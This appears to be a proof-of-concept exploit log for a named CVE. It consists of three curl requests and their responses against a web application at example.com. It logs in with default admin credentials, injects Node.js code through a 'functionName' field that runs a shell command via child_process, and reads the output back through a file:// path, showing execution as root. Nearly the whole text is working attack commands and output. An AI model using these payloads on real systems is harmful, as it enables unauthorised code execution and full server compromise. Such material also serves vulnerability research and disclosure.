# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken

# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}

# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
  -d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'

# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}

# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
  -d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'

# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]

python CVE-2026-47670-X7.py